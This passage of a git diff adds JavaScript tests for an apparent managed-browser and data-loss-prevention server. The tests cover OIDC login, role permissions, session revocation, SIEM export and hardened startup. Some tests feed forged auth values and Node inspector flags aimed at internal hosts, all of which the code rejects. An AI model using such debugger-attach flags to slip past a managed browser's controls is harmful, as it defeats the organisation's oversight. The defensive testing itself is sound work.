assert.equal(overview.events[0].kind,'policy.published');assert.equal(overview.events[0].metadata.actor,'bootstrap-admin'); +}); +test('administrator remotely changes signed settings and enrolled users cannot publish overrides',async t=>{ + const {api}=await fixture(t); + const code=(await api('/api/admin/enrollments',{body:{user:'managed-user'}})).body.code; + const device=(await api('/api/device/enroll',{token:null,body:{code,name:'Managed Windows',platform:'win32'}})).body; + const p=(await api('/api/admin/overview')).body.policy;p.version++; + p.browser.settings={visible:false,hiddenSections:['passwords','agents'],lockedSections:['appearance'],appearance:{mode:'dark',accent:'violet',tabMode:'compact'}}; + assert.equal((await api('/api/admin/policy',{method:'PUT',body:p,token:device.token})).status,401); + assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200); + const delivered=verifyPolicy((await api('/api/device/policy',{token:device.token})).body,device.publicKey,2); + assert.deepEqual(delivered.browser.settings,p.browser.settings); + const invalid=structuredClone(p);invalid.version++;invalid.browser.settings.hiddenSections=['unknown']; + assert.equal((await api('/api/admin/policy',{method:'PUT',body:invalid})).status,400); + assert.equal((await api('/api/admin/overview')).body.policy.version,2); +}); +test('policy teaching test blocks matching text and rejects arbitrary telemetry payloads',async t=>{ + const {api}=await fixture(t);const p=(await api('/api/admin/overview')).body.policy; + p.dlp.rules=[{id:'secret',label:'Secret',kind:'literal',value:'Secret Roadmap',action:'block'}]; + const verdict=await api('/api/admin/policy/test',{body:{text:'Send Secret Roadmap to AI',policy:p}});assert.equal(verdict.body.decision,'block'); + const code=(await api('/api/admin/enrollments',{body:{user:'bob'}})).body.code; + const d=(await api('/api/device/enroll',{token:null,body:{code,name:'Bob',platform:'win32'}})).body; + assert.equal((await api('/api/device/events',{token:d.token,body:{kind:'dlp.block',policyVersion:1,prompt:'must not be logged'}})).status,400); + assert.equal((await api('/api/device/ai',{token:d.token,body:{prompt:'hello'}})).status,409); +}); +test('SSO remains unavailable until configured; callback cannot bypass state validation',async t=>{ + const {api,base}=await fixture(t); + assert.equal((await api('/api/device/sso/start',{body:{},token:null})).status,409); + const response=await fetch(`${base}/auth/callback?state=forged&code=forged`);assert.equal(response.status,400); +}); +async function oidcFixture(t,groups,extra={}){ + const {privateKey,publicKey}=await generateKeyPair('RS256'),jwk={...await exportJWK(publicKey),kid:'test-key'}; + let nonce='',challenge='',badNonce=false; + const oidcIssuer='https://id.example.test'; + const oidcFetch=async(url,options)=>{ + const u=String(url); + if(u.endsWith('/.well-known/openid-configuration'))return Response.json({issuer:oidcIssuer,authorization_endpoint:oidcIssuer+'/authorize',token_endpoint:oidcIssuer+'/token',jwks_uri:oidcIssuer+'/keys'}); + if(u.endsWith('/keys'))return Response.json({keys:[jwk]}); + if(u.endsWith('/token')){ + const body=new URLSearchParams(options.body);assert.equal(createHash('sha256').update(body.get('code_verifier')).digest('base64url'),challenge); + const jwt=await new SignJWT({nonce:badNonce?'wrong':nonce,groups,name:'Alice'}).setProtectedHeader({alg:'RS256',kid:'test-key'}).setIssuer(oidcIssuer).setAudience('test-client').setSubject('alice').setIssuedAt().setExpirationTime('5m').sign(privateKey); + return Response.json({id_token:jwt}); + }throw Error('Unexpected OIDC request'); + }; + const f=await fixture(t,{oidcIssuer,oidcClientId:'test-client',oidcFetch,oidcDeviceGroup:'employees',onError:e=>{if(process.env.DEBUG_TEST_AUTH)console.error(e);},...extra}); + async function login(ticket=''){ + const r=await fetch(f.base+'/auth/login'+(ticket?'?ticket='+ticket:''),{redirect:'manual'});assert.equal(r.status,302); + const url=new URL(r.headers.get('location'));nonce=url.searchParams.get('nonce');challenge=url.searchParams.get('code_challenge'); + const cookie=r.headers.get('set-cookie').split(';')[0]; + return fetch(f.base+`/auth/callback?state=${url.searchParams.get('state')}&code=test-code`,{redirect:'manual',headers:{cookie}}); + } + return {...f,login,wrongNonce:()=>{badNonce=true;}}; +} +test('OIDC validates signed identities and administrator group; session authorizes console',async t=>{ + const f=await oidcFixture(t,['admins','employees']);const callback=await f.login();assert.equal(callback.status,302); + const cookie=callback.headers.getSetCookie().find(v=>v.startsWith('sn_session=')).split(';')[0]; + const r=await fetch(f.base+'/api/admin/overview',{headers:{cookie}});assert.equal(r.status,200);assert.equal((await r.json()).principal.sub,'alice'); +}); +test('OIDC rejects non-admin console access and incorrect nonce',async t=>{ + const f=await oidcFixture(t,['employees']);assert.equal((await f.login()).status,403);f.wrongNonce();assert.equal((await f.login()).status,500); +}); + +test('OIDC signed management groups create operator and auditor sessions without policy publication rights',async t=>{ + for(const role of ['operator','auditor']){ + const f=await oidcFixture(t,[role+'s'],{oidcOperatorGroup:'operators',oidcAuditorGroup:'auditors'}),callback=await f.login(); + assert.equal(callback.status,302); + const cookie=callback.headers.getSetCookie().find(v=>v.startsWith('sn_session=')).split(';')[0]; + const session=await fetch(f.base+'/api/admin/session',{headers:{cookie}});assert.equal(session.status,200); + const principal=(await session.json()).principal;assert.equal(principal.role,role);assert.equal(principal.admin,false);assert.equal(principal.permissions.includes('policy.write'),false); + const result=await f.api('/api/admin/policy',{token:null,method:'PUT',body:{version:2},headers:{cookie,origin:f.config.publicUrl}});assert.equal(result.status,403); + assert.equal(f.store.get('policy').version,1); + } +}); + +test('auditor authorization denies every mutation, personal bookmark review and unknown routes before handlers',async t=>{ + const f=await fixture(t),credential='synthetic-auditor-session-credential-123456789'; + f.store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:'auditor',role:'auditor',admin:true,permissions:['policy.write','bookmarks.read']})); + const headers={cookie:'sn_session='+credential,origin:f.config.publicUrl}; + for(const [method,path] of [ + ['PUT','/api/admin/policy'],['PUT','/api/admin/security/blocklists'],['POST','/api/admin/enrollments'],['POST','/api/admin/devices/fake/revoke'],['PATCH','/api/admin/devices/fake/inspection'], + ['GET','/api/admin/devices/fake/bookmarks'],['PUT','/api/admin/devices/fake/bookmarks'],['POST','/api/admin/teaching'],['POST','/api/admin/teaching/fake/publish'], + ['POST','/api/admin/semantic/reference'],['POST','/api/admin/semantic/document-reference'],['POST','/api/admin/security/visual-reference'],['POST','/api/admin/integrations/icap/probe'],['GET','/api/admin/future-endpoint'] + ])assert.equal((await f.api(path,{token:null,method,body:method==='GET'?undefined:{},headers})).status,403,path); + const overview=await f.api('/api/admin/overview',{token:null,headers});assert.equal(overview.status,200);assert.equal(overview.body.principal.admin,false);assert.equal(overview.body.principal.permissions.includes('policy.write'),false); + assert.equal((await fetch(f.base+'/api/admin/events/export?format=cef',{headers})).status,200); + assert.equal(f.store.get('policy').version,1);assert.equal(f.store.db.prepare('SELECT COUNT(*) AS n FROM enrollments').get().n,0); +}); + +test('cookie management requires same-origin mutation and expired/unknown roles cannot authenticate',async t=>{ + const f=await fixture(t),credential='synthetic-admin-session-credential-123456789'; + const put=(principal,expires=Date.now()+60000)=>f.store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),expires,JSON.stringify(principal)); + put({sub:'legacy-admin',admin:true});const headers={cookie:'sn_session='+credential}; + assert.equal((await f.api('/api/admin/enrollments',{token:null,headers,body:{user:'fixture'}})).status,403); + assert.equal((await f.api('/api/admin/enrollments',{token:null,headers:{...headers,origin:f.config.publicUrl},body:{user:'fixture'}})).status,200); + assert.equal((await fetch(f.base+'/auth/logout',{method:'POST',headers})).status,403); + put({sub:'unknown',role:'superadmin',admin:true});assert.equal((await f.api('/api/admin/overview',{token:null,headers})).status,401); + put({sub:'expired',role:'admin'},Date.now()-1000);assert.equal((await f.api('/api/admin/overview',{token:null,headers})).status,401); + assert.equal(adminRoutePermission('POST','/api/admin/new-dangerous-endpoint'),null); + assert.equal(principalForGroups({sub:'u'},['auditors','operators','admins'],{oidcAdminGroup:'admins',oidcOperatorGroup:'operators',oidcAuditorGroup:'auditors'}).role,'admin'); +}); + +test('remote HTTPS management never accepts the shared bootstrap administrator token',async t=>{ + const f=await fixture(t,{publicUrl:'https://management.example.test',secure:true}); + assert.equal((await f.api('/api/admin/overview')).status,401); + assert.equal((await f.api('/api/admin/enrollments',{body:{user:'unauthorized'},headers:{origin:f.config.publicUrl}})).status,401); + const status=await fetch(f.base+'/api/auth/status');assert.equal((await status.json()).bootstrapAllowed,false); +}); + +test('operator can enroll and revoke devices but cannot change policy-backed inspection settings',async t=>{ + const f=await fixture(t),credential='synthetic-operator-session-credential-123456789'; + f.store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:'operator',role:'operator'})); + const headers={cookie:'sn_session='+credential,origin:f.config.publicUrl}; + const enrollment=await f.api('/api/admin/enrollments',{token:null,headers,body:{user:'operator-device'}});assert.equal(enrollment.status,200); + const d=await f.api('/api/device/enroll',{token:null,body:{code:enrollment.body.code,name:'Operator enrolled laptop',platform:'win32'}});assert.equal(d.status,200); + assert.equal((await f.api(`/api/admin/devices/${d.body.id}/inspection`,{token:null,headers,method:'PATCH',body:{expectedVersion:1,documentAnalysisEnabled:false}})).status,403); + assert.equal((await f.api(`/api/admin/devices/${d.body.id}/revoke`,{token:null,headers,body:{}})).status,200); + assert.equal((await f.api('/api/device/policy',{token:d.body.token})).status,401); + assert.equal(f.store.get('policy').version,1); +}); + +test('only administrators inventory opaque management sessions and revocation immediately denies existing cookies',async t=>{ + const f=await fixture(t),credentials={operator:'synthetic-operator-session-credential-123456789',auditor:'synthetic-auditor-session-credential-123456789'}; + for(const [role,credential] of Object.entries(credentials))f.store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:role,role})); + for(const credential of Object.values(credentials))assert.equal((await f.api('/api/admin/sessions',{token:null,headers:{cookie:'sn_session='+credential}})).status,403); + const inventory=await f.api('/api/admin/sessions');assert.equal(inventory.status,200);assert.equal(inventory.body.sessions.length,2); + const target=inventory.body.sessions.find(s=>s.role==='auditor');assert.match(target.id,/^[0-9a-f-]{36}$/);assert.deepEqual(Object.keys(target).sort(),['expiresAt','id','name','role','subject']); + assert.equal((await f.api('/api/admin/sessions')).body.sessions.find(s=>s.role==='auditor').id,target.id); + const encoded=JSON.stringify(inventory.body);for(const credential of Object.values(credentials)){assert.equal(encoded.includes(credential),false);assert.equal(encoded.includes(digest(credential)),false);} + assert.equal((await f.api(`/api/admin/sessions/${target.id}/revoke`,{token:null,headers:{cookie:'sn_session='+credentials.operator,origin:f.config.publicUrl},body:{}})).status,403); + assert.equal((await f.api('/api/admin/overview',{token:null,headers:{cookie:'sn_session='+credentials.auditor}})).status,200); + assert.equal((await f.api(`/api/admin/sessions/${target.id}/revoke`,{body:{}})).status,200); + assert.equal((await f.api('/api/admin/overview',{token:null,headers:{cookie:'sn_session='+credentials.auditor}})).status,401); + assert.equal((await f.api(`/api/admin/sessions/${target.id}/revoke`,{body:{}})).status,404); + assert.equal(f.store.db.prepare('SELECT COUNT(*) AS n FROM management_session_handles').get().n,1); + const event=f.store.db.prepare("SELECT metadata FROM events WHERE kind='management.session-revoked'").get();assert.deepEqual(JSON.parse(event.metadata),{actor:'bootstrap-admin',count:1}); +}); +test('SSO device ticket requires its polling secret and enrolls exactly once',async t=>{ + const f=await oidcFixture(t,['employees']); + const ticket=(await f.api('/api/device/sso/start',{token:null,body:{}})).body; + const body={id:ticket.id,secret:ticket.secret,name:'SSO laptop',platform:'darwin'}; + assert.equal((await f.api('/api/device/sso/poll',{token:null,body})).status,202); + assert.equal((await f.login(ticket.id)).status,200); + assert.equal((await f.api('/api/device/sso/poll',{token:null,body:{...body,secret:'wrong'}})).status,401); + const result=await f.api('/api/device/sso/poll',{token:null,body});assert.equal(result.status,200); + assert.equal((await f.api('/api/device/sso/poll',{token:null,body})).status,401); + assert.equal(f.store.db.prepare('SELECT user FROM devices WHERE id=?').get(result.body.id).user,'alice'); +}); +test('device audit retries deduplicate and security exports preserve cursor identity',async t=>{ + const f=await fixture(t),code=(await f.api('/api/admin/enrollments',{body:{user:'alice'}})).body.code; + const d=(await f.api('/api/device/enroll',{token:null,body:{code,name:'Alice',platform:'win32'}})).body; + const event={eventId:randomUUID(),kind:'dlp.block',ruleId:'secret',policyVersion:1}; + for(let n=0;n<2;n++)assert.equal((await f.api('/api/device/events',{token:d.token,body:event})).status,200); + assert.equal(f.store.db.prepare("SELECT count(*) AS n FROM events WHERE kind='dlp.block'").get().n,1); + const response=await fetch(f.base+'/api/admin/events/export?format=ecs',{headers:{authorization:`Bearer ${f.config.adminToken}`}}); + const events=(await response.text()).trim().split('\n').map(v=>JSON.parse(v));const block=events.find(v=>v.event.action==='dlp.block'); + assert.deepEqual(block.event.type,['denied']);assert.equal(block.event.outcome,'success');assert.equal(block.rule.id,'secret'); + assert.ok(response.headers.get('x-safetynet-next-cursor'));assert.equal(JSON.stringify(events).includes('token_hash'),false); +}); diff --git a/tests/siem.test.mjs b/tests/siem.test.mjs new file mode 100644 index 0000000..7f6d687 --- /dev/null +++ b/tests/siem.test.mjs @@ -0,0 +1,40 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtempSync,readFileSync,rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { openStore } from '../apps/server/store.mjs'; +import { startSIEM } from '../apps/server/siem.mjs'; +import { toECS,toCEF } from '../packages/core/siem.mjs'; +test('CEF escapes headers and extension delimiters; ECS excludes raw content',()=>{ + const e={id:1,time:new Date().toISOString(),device_id:'device',kind:'dlp.block',metadata:{ruleId:'a=b\nc',policyVersion:2,prompt:'must never be exported'}}; + const cef=toCEF(e,'install');assert.ok(cef.includes('cs1=a\\=b\\nc'));assert.ok(cef.startsWith('CEF:0|'));assert.equal(cef.includes('must never'),false); + const ecs=toECS(e,'install');assert.equal(ecs.event.id,'install:1');assert.equal(JSON.stringify(ecs).includes('must never'),false);assert.deepEqual(ecs.event.type,['denied']); +}); +test('durable file exporter resumes after restart and advances only written events',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-siem-')),store=openStore(directory); + let exporter;t.after(()=>{exporter?.stop();store.db.close();rmSync(directory,{recursive:true,force:true});}); + store.event('device','dlp.block',{ruleId:'secret',policyVersion:1});exporter=startSIEM(store,directory,{});await exporter.flush(); + assert.equal(exporter.status().cursor,1);exporter.stop(); + store.event(null,'policy.published',{actor:'admin',version:2});exporter=startSIEM(store,directory,{});await exporter.flush();assert.equal(exporter.status().cursor,2); + const rows=readFileSync(join(directory,'security.ndjson'),'utf8').trim().split('\n').map(v=>JSON.parse(v));assert.equal(rows.length,2);assert.notEqual(rows[0].event.id,rows[1].event.id); +}); +test('remote SIEM export refuses plaintext endpoints',t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-siem-')),store=openStore(directory); + t.after(()=>{store.db.close();rmSync(directory,{recursive:true,force:true});});assert.throws(()=>startSIEM(store,directory,{SIEM_HTTP_URL:'http://example.com'}),/HTTPS/); +}); + +test('ECS and CEF correlate validated trace identities without exporting arbitrary trace text',()=>{ + const e={id:1,time:new Date().toISOString(),kind:'clipboard.copy',metadata:{traceId:'1234567890abcdef1234567890abcdef',spanId:'1234567890abcdef'}}; + assert.equal(toECS(e).trace.id,e.metadata.traceId);assert.match(toCEF(e),/cs4Label=TraceId/); + e.metadata.traceId='token=synthetic-secret';e.metadata.spanId='invalid';assert.equal(toECS(e).trace,undefined);assert.equal(toCEF(e).includes('synthetic-secret'),false); +}); +test('denied agent actions and correlated Sigma alerts export durably without raw source content',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-sigma-')),store=openStore(directory);let exporter;t.after(()=>{exporter?.stop();store.db.close();rmSync(directory,{recursive:true,force:true});}); + const p=store.get('policy');p.security.sigma.rules=[{id:'agent-denial',title:'Agent denial',level:'high',detection:{selection:{kind:'agent.denied'},condition:'selection'}}];store.put('policy',p); + store.db.exec('BEGIN IMMEDIATE');store.event('device','agent.denied',{ruleId:'agent:read:blocked',policyVersion:1,prompt:'excluded raw content'});store.db.exec('COMMIT'); + const stored=store.db.prepare('SELECT * FROM events ORDER BY id').all().map(e=>({...e,metadata:JSON.parse(e.metadata)}));assert.equal(stored.length,2);assert.equal(stored[1].kind,'sigma.alert');assert.deepEqual(stored[1].metadata,{ruleId:'agent-denial',level:'high',sourceEventId:stored[0].id});assert.equal(store.db.prepare('SELECT count(*) AS n FROM alerts').get().n,1); + assert.deepEqual(toECS(stored[0],'install').event.type,['denied']);const alert=toECS(stored[1],'install');assert.equal(alert.event.kind,'alert');assert.deepEqual(alert.event.category,['intrusion_detection']);assert.deepEqual(alert.event.type,['info']);assert.equal(alert.event.severity,7);assert.equal(alert.safetynet.source_event_id,`install:${stored[0].id}`);assert.match(toCEF(stored[1],'install'),/cs2Label=SourceEventId cs2=install:1/); + exporter=startSIEM(store,directory,{});await exporter.flush();const rows=readFileSync(join(directory,'security.ndjson'),'utf8').trim().split('\n').map(JSON.parse);assert.equal(rows.length,2);assert.equal(rows[1].event.action,'sigma.alert');assert.equal(rows[1].safetynet.source_event_id,rows[0].event.id);assert.equal(JSON.stringify(rows).includes('excluded raw content'),false); + store.db.exec('BEGIN IMMEDIATE');store.event('device','agent.denied',{ruleId:'agent:read:blocked'});store.db.exec('ROLLBACK');assert.equal(store.db.prepare('SELECT count(*) AS n FROM events').get().n,2);assert.equal(store.db.prepare('SELECT count(*) AS n FROM alerts').get().n,1); +}); diff --git a/tests/startup-security.test.mjs b/tests/startup-security.test.mjs new file mode 100644 index 0000000..ba80635 --- /dev/null +++ b/tests/startup-security.test.mjs @@ -0,0 +1,23 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +const require=createRequire(import.meta.url),{assertSecureStartup,BLOCKED_SWITCHES}=require('../apps/browser/startup-security.cjs'); +const commandLine=names=>({hasSwitch:name=>new Set(names).has(name)}); +test('managed startup rejects sandbox, extension, process-isolation and debugger bypass switches',()=>{ + for(const name of BLOCKED_SWITCHES)assert.throws(()=>assertSecureStartup(commandLine([name]),[]),{message:'Unsafe browser startup configuration'},name); +}); +test('managed startup permits normal Electron options and controlled local-agent actions',()=>{ + assert.equal(assertSecureStartup(commandLine(['agent-action','agent-connection','user-data-dir','force-device-scale-factor','disable-gpu','enable-logging','lang']),[]),true); + assert.equal(assertSecureStartup(commandLine([]),['--trace-warnings','--max-old-space-size=4096']),true); +}); +test('Node-consumed inspector flags are rejected without exposing host, port or other values',()=>{ + for(const flag of ['--inspect=private.internal:9229','--inspect-brk=9229','--inspect-wait=0','--inspect-port=company-secret:5555','--debug','--debug-brk']){try{assertSecureStartup(commandLine([]),[flag]);assert.fail('Unsafe inspector flag accepted');}catch(error){assert.equal(error.message,'Unsafe browser startup configuration');assert.equal(error.message.includes(flag),false);}} +}); +test('broken command-line adapters fail closed with a static error',()=>{ + for(const adapter of [null,{}, {hasSwitch:()=>undefined},{hasSwitch:()=>{throw Error('private credential value');}}])assert.throws(()=>assertSecureStartup(adapter,[]),{message:'Unsafe browser startup configuration'}); + assert.throws(()=>assertSecureStartup(commandLine([]),null),{message:'Unsafe browser startup configuration'}); + assert.throws(()=>assertSecureStartup(commandLine([]),[{}]),{message:'Unsafe browser startup configuration'}); +}); +test('an already-active Node inspector is rejected even when no argv flag remains',()=>{ + const inspector=require('node:inspector'),original=inspector.url;try{inspector.url=()=> 'ws://private-main-debugger.internal:9229/secret';assert.throws(()=>assertSecureStartup(commandLine([]),[]),{message:'Unsafe browser startup configuration'});}finally{inspector.url=original;} +}); diff --git a/tests/tab-registry.test.mjs b/tests/tab-registry.test.mjs new file mode 100644 index 0000000..95ea21a --- /dev/null +++ b/tests/tab-registry.test.mjs @@ -0,0 +1,15 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import registry from '../apps/browser/tab-registry.cjs'; +function fixture(options={}) { + let id=0;const attached=[],detached=[],disposed=[]; + const tabs=registry.createTabRegistry({createView:()=>{const wc={id:++id,url:'https://example.test/',destroyed:false,stops:0,history:[],getURL(){return this.url;},isDestroyed(){return this.destroyed;},stop(){this.stops++;},close(){this.destroyed=true;}};return {webContents:wc,visible:false,setVisible(v){this.visible=v;}};},attach:v=>attached.push(v),detach:v=>detached.push(v),dispose:t=>disposed.push(t),...options}); + return {tabs,attached,detached,disposed}; +} +test('native views retain separate DOM/history ownership when switching',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();a.view.webContents.history.push('private history A');b.view.webContents.history.push('history B');tabs.activate(b.id);tabs.activate(a.id);assert.notEqual(a.view.webContents,b.view.webContents);assert.deepEqual(a.view.webContents.history,['private history A']);assert.deepEqual(b.view.webContents.history,['history B']);assert.equal(tabs.fromContents(b.view.webContents.id),b);}); +test('foreground approval fails after switch-away-and-back even on identical URL',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const token=tabs.context(a.id);assert.equal(tabs.current(token),true);tabs.activate(b.id);tabs.activate(a.id);assert.equal(tabs.current(token),false);}); +test('background network contexts survive switches but not navigation or policy change',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const token=tabs.context(a.id,{foreground:false});tabs.activate(b.id);assert.equal(tabs.current(token),true);tabs.navigation(a.id);assert.equal(tabs.current(token),false);const renewed=tabs.context(a.id,{foreground:false});tabs.resume(2);assert.equal(tabs.current(renewed),false);assert.throws(()=>tabs.resume(1));}); +test('quarantine stops hidden and visible tabs, invalidates approvals and denies all old contexts',()=>{const {tabs}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const tokens=[tabs.context(a.id,{foreground:false}),tabs.context(b.id,{foreground:false})];a.security.visualApproval={approved:true};b.security.visualApproval={approved:true};tabs.quarantine();for(const tab of [a,b]){assert.equal(tab.view.webContents.stops,1);assert.equal(tab.view.visible,false);assert.equal(tab.security.visualApproval,null);}tabs.resume(1);assert.equal(tokens.every(t=>!tabs.current(t)),true);}); +test('close destroys native contents and cannot revive closed tab capabilities',()=>{const {tabs,disposed}=fixture();const a=tabs.create(),b=tabs.create();tabs.resume(1);const token=tabs.context();tabs.remove(a.id);assert.equal(a.view.webContents.destroyed,true);assert.equal(tabs.current(token),false);assert.equal(tabs.active(),b);assert.equal(tabs.fromContents(a.view.webContents.id),null);tabs.close();assert.equal(b.view.webContents.destroyed,true);assert.equal(disposed.length,2);assert.throws(()=>tabs.create());}); +test('URL mutation and renderer-chosen identifiers cannot reuse native approval',()=>{const {tabs}=fixture();const a=tabs.create();tabs.resume(1);const token=tabs.context();a.view.webContents.url='https://other.test/';assert.equal(tabs.current(token),false);assert.throws(()=>tabs.activate('renderer-forged-id'));assert.equal(Object.isFrozen(token),true);assert.notEqual(a.id,'managed');}); +test('capacity is bounded before another renderer process is created',()=>{const {tabs}=fixture({maxTabs:1});tabs.create();assert.throws(()=>tabs.create(),/capacity/);assert.equal(tabs.all().length,1);}); diff --git a/tests/telemetry.test.mjs b/tests/telemetry.test.mjs new file mode 100644 index 0000000..3744ded --- /dev/null +++ b/tests/telemetry.test.mjs @@ -0,0 +1,14 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createServer } from 'node:http'; +import { startTelemetry,tracer,recordSecurityEvent } from '../apps/server/telemetry.mjs'; +test('OpenTelemetry exports traces, metrics and safe logs through OTLP HTTP',{timeout:20000},async t=>{ + const requests=[]; + const server=createServer((req,res)=>{const chunks=[];req.on('data',c=>chunks.push(c));req.on('end',()=>{requests.push({url:req.url,data:Buffer.concat(chunks)});res.setHeader('content-type','application/json');res.end('{}');});}).listen(0,'127.0.0.1'); + await new Promise(r=>server.on('listening',r));process.env.OTEL_EXPORTER_OTLP_ENDPOINT=`http://127.0.0.1:${server.address().port}`; + t.after(async()=>{delete process.env.OTEL_EXPORTER_OTLP_ENDPOINT;server.closeAllConnections();await new Promise(r=>server.close(r));}); + const sdk=startTelemetry();t.after(()=>sdk.shutdown());tracer.startActiveSpan('inspection.test',span=>{span.setAttribute('dlp.decision','block');span.end();}); + recordSecurityEvent('dlp.block',{ruleId:'test',policyVersion:1,prompt:'THIS_SECRET_MUST_NOT_APPEAR'},'event-1');await sdk.shutdown(); + for(const path of ['/v1/traces','/v1/metrics','/v1/logs'])assert.ok(requests.some(r=>r.url===path),`Missing ${path}`); + assert.equal(requests.some(r=>r.data.includes(Buffer.from('THIS_SECRET_MUST_NOT_APPEAR'))),false); +}); diff --git a/tests/transfer-facts.test.mjs b/tests/transfer-facts.test.mjs new file mode 100644 index 0000000..c582d71 --- /dev/null +++ b/tests/transfer-facts.test.mjs @@ -0,0 +1,13 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import facts from '../packages/core/transfer-facts.cjs'; +import {toECS,toCEF} from '../packages/core/siem.mjs'; +test('security file facts carry exact bytes and detected type without arbitrary content',()=>{ + const file=facts.transferFacts({bytes:123,detectedType:'pe',sha256:'a'.repeat(64)}); + const e={id:1,time:new Date().toISOString(),kind:'download.block',metadata:{file}}; + assert.equal(toECS(e).file.size,123);assert.equal(toECS(e).file.type,'pe');assert.match(toCEF(e),/cs6=pe/); + assert.throws(()=>facts.transferFacts({...file,password:'forbidden'})); + assert.throws(()=>facts.transferFacts({...file,bytes:-1})); + e.metadata.file={bytes:123,detectedType:'password=secret',sha256:'a'.repeat(64)}; + assert.equal(toECS(e).file,undefined);assert.equal(toCEF(e).includes('password=secret'),false); +}); diff --git a/tests/user-profiles.test.mjs b/tests/user-profiles.test.mjs new file mode 100644 index 0000000..55894da --- /dev/null +++ b/tests/user-profiles.test.mjs @@ -0,0 +1,16 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +import {UserProfileSchema,applyUserProfiles} from '../packages/core/user-profiles.mjs'; +import {defaultPolicy,destinationAllowed,verifyPolicy,signPolicy} from '../packages/core/policy.mjs'; +async function fixture(t,review=false){const dir=mkdtempSync(join(tmpdir(),'safetynet-profiles-')),store=openStore(dir),origin='http://127.0.0.1:4310',server=createApp(store,{publicUrl:origin,requireIndependentPolicyApproval:review}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});});for(const [id,subject]of [['one','employee'],['two','employee'],['other','other'],['forged',null]])store.db.prepare('INSERT INTO devices(id,name,user,token_hash,verified_subject) VALUES(?,?,?,?,?)').run(id,id,'employee',digest(id+'-synthetic-device-credential-123456789'),subject);async function api(path,method='GET',body,sub='author',role='admin'){const token=sub+'-synthetic-profile-session-123456789';store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(token),Date.now()+60000,JSON.stringify({sub,role}));const r=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{cookie:`sn_session=${token}`,origin,'content-type':'application/json'},body:body?JSON.stringify(body):undefined});return {status:r.status,body:await r.json()};}return {store,api,base:`http://127.0.0.1:${server.address().port}`};} +test('arbitrary user profiles follow verified subject across devices and never client user labels',async t=>{const f=await fixture(t),profile=UserProfileSchema.parse({id:'lab-reviewers',name:'Research reviewers',subjects:['employee'],blockedHosts:['blocked.example'],features:{downloads:'deny'}});assert.equal((await f.api('/api/admin/user-profiles/lab-reviewers','PUT',{expectedVersion:1,profile})).status,200);for(const id of ['one','two']){const p=verifyPolicy(signPolicy(f.store.effectivePolicy(id),f.store.get('keys').privateKey),f.store.publicKey());assert.equal(p.browser.allowDownloads,false);assert.equal(destinationAllowed('https://blocked.example/',p),false);assert.deepEqual(p.assignment.profiles,['lab-reviewers']);}for(const id of ['other','forged'])assert.equal(destinationAllowed('https://blocked.example/',f.store.effectivePolicy(id)),true);assert.equal((await f.api('/api/admin/user-profiles/lab-reviewers','DELETE',{expectedVersion:2})).status,200);assert.equal(destinationAllowed('https://blocked.example/',f.store.effectivePolicy('one')),true);}); +test('delegation requires explicit signed ceiling and denies win across conflicting profiles',()=>{const p=defaultPolicy(),allow=UserProfileSchema.parse({id:'developer',name:'Developer',deviceIds:['one'],features:{devTools:'allow'}}),deny=UserProfileSchema.parse({id:'restricted',name:'Restricted',deviceIds:['one'],features:{devTools:'deny'}});assert.equal(applyUserProfiles(p,{profiles:[allow]}, {id:'one'}).browser.allowDevTools,false);p.userAccess.delegatableFeatures.devTools=true;assert.equal(applyUserProfiles(p,{profiles:[allow]},{id:'one'}).browser.allowDevTools,true);assert.equal(applyUserProfiles(p,{profiles:[allow,deny]},{id:'one'}).browser.allowDevTools,false);assert.deepEqual(applyUserProfiles(p,{profiles:[allow,deny]},{id:'one'}),applyUserProfiles(p,{profiles:[deny,allow]},{id:'one'}));}); +test('domain categories and intersected host allowances fail closed for disjoint profiles',()=>{const p=defaultPolicy(),a=UserProfileSchema.parse({id:'a',name:'A',deviceIds:['one'],allowedHosts:['*.company.example'],blockedCategoryIds:['social']}),b=UserProfileSchema.parse({id:'b',name:'B',deviceIds:['one'],allowedHosts:['wiki.company.example']});const c={profiles:[a,b],categories:[{id:'social',name:'Social',hosts:['social.company.example']}]},r=applyUserProfiles(p,c,{id:'one'});assert.equal(destinationAllowed('https://wiki.company.example',r),true);assert.equal(destinationAllowed('https://social.company.example',r),false);b.allowedHosts=['other.example'];const disjoint=applyUserProfiles(p,c,{id:'one'});assert.equal(destinationAllowed('https://other.example',disjoint),false);assert.equal(destinationAllowed('https://denied.invalid',disjoint),false);}); +test('profile publication enforces independent reviewers, role permissions, CAS, snapshots and restore',async t=>{const f=await fixture(t,true),profile=UserProfileSchema.parse({id:'executive',name:'Board',deviceIds:['one'],requireDocumentScan:true});const queued=await 